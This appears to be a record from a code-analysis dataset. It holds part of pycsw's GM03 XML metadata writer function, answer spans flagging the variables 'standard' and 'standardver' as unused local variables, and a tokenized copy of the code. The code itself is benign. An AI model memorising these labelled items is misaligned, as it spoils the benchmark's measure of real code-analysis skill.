util.getqattr(result, context.md_core_model['mappings']['pycsw:RevisionDate'])\n if val:\n ci_date = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.CI_Date', NAMESPACES))\n etree.SubElement(ci_date, util.nspath_eval('gm03:date', NAMESPACES)).text = val\n etree.SubElement(ci_date, util.nspath_eval('gm03:dateType', NAMESPACES)).text = 'revision'\n\n # publication date\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:PublicationDate'])\n if val:\n ci_date = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.CI_Date', NAMESPACES))\n etree.SubElement(ci_date, util.nspath_eval('gm03:date', NAMESPACES)).text = val\n etree.SubElement(ci_date, util.nspath_eval('gm03:dateType', NAMESPACES)).text = 'publication'\n\n # bbox extent\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:BoundingBox'])\n bboxel = write_extent(val, context.namespaces)\n if bboxel is not None:\n core.append(bboxel)\n\n # geographic description\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:GeographicDescriptionCode'])\n if val:\n geo_desc = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.EX_GeographicDescription', NAMESPACES))\n etree.SubElement(geo_desc, util.nspath_eval('gm03:geographicIdentifier', NAMESPACES)).text = val\n\n # crs\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:CRS'])\n if val:\n rs_identifier = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.RS_Identifier', NAMESPACES))\n rs_code = etree.SubElement(rs_identifier, util.nspath_eval('gm03:code', NAMESPACES))\n rs_code.append(_get_pt_freetext(val, language))\n\n # temporal extent\n time_begin = util.getqattr(result, context.md_core_model['mappings']['pycsw:TempExtent_begin'])\n time_end = util.getqattr(result, context.md_core_model['mappings']['pycsw:TempExtent_end'])\n if time_begin:\n temp_ext = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.EX_TemporalExtent', NAMESPACES))\n extent = etree.SubElement(temp_ext, util.nspath_eval('gm03:extent', NAMESPACES))\n tm_primitive = etree.SubElement(extent, util.nspath_eval('gm03:GM03_2_1Core.Core.TM_Primitive', NAMESPACES))\n etree.SubElement(tm_primitive, util.nspath_eval('gm03:begin', NAMESPACES)).text = time_begin\n if time_end:\n etree.SubElement(tm_primitive, util.nspath_eval('gm03:end', NAMESPACES)).text = time_end\n\n # links\n rlinks = util.getqattr(result, context.md_core_model['mappings']['pycsw:Links'])\n if rlinks:\n for link in rlinks.split('^'):\n name, description, protocol, url = link.split(',')\n online_resource = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.OnlineResource', NAMESPACES))\n if protocol:\n etree.SubElement(online_resource, util.nspath_eval('gm03:protocol', NAMESPACES)).text = protocol\n if description:\n desc = etree.SubElement(online_resource, util.nspath_eval('gm03:description', NAMESPACES))\n desc.append(_get_pt_freetext(description, language))\n if name:\n name_el = etree.SubElement(online_resource, util.nspath_eval('gm03:name', NAMESPACES))\n name_el.append(_get_pt_freetext(name, language))\n linkage = etree.SubElement(online_resource, util.nspath_eval('gm03:linkage', NAMESPACES))\n linkage.append(_get_pt_freeurl(url, language))\n\n return node",
"metadata": "root.write_record",
"header": "['module', '___EOS___']",
"index": 38
}
]
| [
{
"span": "standard ",
"start_line": 73,
"start_column": 4,
"end_line": 73,
"end_column": 12
},
{
"span": "standardver ",
"start_line": 76,
"start_column": 4,
"end_line": 76,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"write",
"\\u",
"record_",
"(_",
"result_",
",_",
"esn",
"_",
",_",
"context_",
",_",
"url_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
" ",
"Return",
" ",
"cs",
"w",
":",
"Sear",
"ch",
"Result",
"s",
" ",
"child",
" ",
"as",
" ",
"lx",
"ml",
".",
"etree",
".",
"Element",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"typename_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Type",
"name",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"typename_",
"==_",
"'",
"gm",
"03",
":",
"TRANSFER",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"dump",
" ",
"record",
" ",
"as",
" ",
"is",
" ",
"and",
" ",
"exit_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"TOD",
"O",
":",
" ",
"provide",
" ",
"brief",
" ",
"and",
" ",
"summar",
"y",
" ",
"element",
"setn",
"ame",
"'",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"etree_",
"._",
"fromstring_",
"(_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"XML",
"'_",
"]_",
")_",
",_",
"context_",
"._",
"parser_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"node_",
"=_",
"etree_",
"._",
"Element_",
"(_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"TRANSFER",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
",_",
"nsma",
"p_",
"=_",
"NAMESPACE",
"S_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"header_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"node_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"HEAD",
"ERS",
"ECTI",
"ON",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"header_",
"._",
"attrib_",
"[_",
"'",
"version",
"'_",
"]_",
"=_",
"'",
"2.3",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"header_",
"._",
"attrib_",
"[_",
"'",
"sender",
"'_",
"]_",
"=_",
"'",
"pyc",
"sw",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"header_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"MODEL",
"S",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"node_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"DATA",
"SECTION",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"core_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"data_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"core",
"\\u",
"meta_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Meta",
"data",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Identifie",
"r",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"file",
"Identifie",
"r",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"language_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Lang",
"ua",
"ge",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"language",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"language_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Modifie",
"d",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"Sta",
"mp",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"hier",
"arch",
"y",
"\\u",
"level",
"\\u",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Type",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"metadata",
" ",
"standard",
" ",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
"standard_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"metadata",
"Standard",
"Name",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"'",
"GM",
"03",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"metadata",
" ",
"standard",
" ",
"version_",
"\\u\\u\\uNL\\u\\u\\u_",
"standard",
"ver_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"metadata",
"Standard",
"Version",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"'",
"2.3",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"hier",
"arch",
"y",
" ",
"level_",
"\\u\\u\\uNL\\u\\u\\u_",
"hier",
"arch",
"y",
"\\u",
"level_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"hier",
"arch",
"y",
"Leve",
"l",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scope",
"\\u",
"code_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"hier",
"arch",
"y",
"\\u",
"level_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Sco",
"pe",
"Code",
"\\u'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"scope",
"\\u",
"code_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"value",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"hier",
"arch",
"y",
"\\u",
"level",
"\\u",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"parent",
" ",
"identifier_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Parent",
"Identifie",
"r",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"parent",
"\\u",
"identifier_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core",
"\\u",
"meta_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"parent",
"Identifie",
"r",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scope",
"\\u",
"code_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"parent",
"\\u",
"identifier_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Sco",
"pe",
"Code",
"\\u'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"scope",
"\\u",
"code_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"value",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"title_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Tit",
"le",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"citation_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"CI",
"\\u",
"Citation",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"title_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"citation_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"title",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"title_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"val_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"abstract_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Abstract",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data\\u",
"ident_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Data",
"Identif",
"ication",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"abstract_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"data\\u",
"ident_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"abstract",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"abstract_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"val_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"resource",
" ",
"language_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Reso",
"urc",
"e",
"Lang",
"ua",
"ge",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"topic",
"ate",
"gory",
"_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"data\\u",
"ident_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"language",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cat",
"\\u",
"code_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"topic",
"ate",
"gory",
"_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"Code",
"ISO",
".",
"Lang",
"ua",
"ge",
"Code",
"ISO",
"\\u'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"cat",
"\\u",
"code_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"value",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"topic",
" ",
"category_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Topic",
"Cate",
"gory",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"topic",
"ate",
"gory",
"_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"data\\u",
"ident_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"topic",
"Cate",
"gory",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cat",
"\\u",
"code_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"topic",
"ate",
"gory",
"_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Topic",
"Cate",
"gory",
"Code",
"\\u'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"cat",
"\\u",
"code_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"value",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"keywords_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"keywords",
"\\u",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Key",
"words",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"keywords",
"\\u",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"md",
"\\u",
"keywords_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Key",
"words",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Key",
"word",
"Type",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"md",
"\\u",
"keywords_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"type",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"keyword_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"md",
"\\u",
"keywords_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"keyw",
"ord",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"kw_",
"in_",
"keywords",
"\\u",
"val_",
"._",
"split_",
"(_",
"','_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"keyword_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"kw_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"format_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Format",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"md",
"\\u",
"format_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"MD",
"\\u",
"Format",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"md",
"\\u",
"format_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"name",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"creati",
"on",
" ",
"date_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Creat",
"ion",
"Date",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ci",
"\\u",
"date_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"CI",
"\\u",
"Date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"Type",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"'",
"creati",
"on",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"revis",
"ion",
" ",
"date_",
"\\u\\u\\uNL\\u\\u\\u_",
